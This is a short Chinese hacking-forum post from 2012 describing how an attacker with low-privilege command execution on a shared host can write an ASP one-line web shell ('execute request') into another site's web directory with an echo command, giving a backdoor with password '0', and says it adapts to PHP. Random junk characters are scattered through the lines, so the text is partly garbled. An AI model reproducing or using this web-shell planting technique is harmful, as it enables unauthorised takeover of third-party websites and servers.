在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。
4 ]1 M6 |7 j) b$ T1 P( [: U9 N @: k3 S/ B1 j9 @
命令格式* }: F) h' ]: Q& b
% a, G" Y d% u0 d! PEcho 语句 >目标站绝对目录2 z$ `! |" {" B( q4 U
3 o6 [/ i# A$ d5 i7 f例如： ! L% T' V1 i% r+ G, p9 W" j
% |& |+ t" ?1 ?% n
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp
2 ] L8 Y l t, J# X) y
% ]" [% Q# r& H* r/ a4 m这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。
^( _; z' R( M" s& E9 T5 L |
发表于 2012-9-23 14:40:24
收藏
支持
反对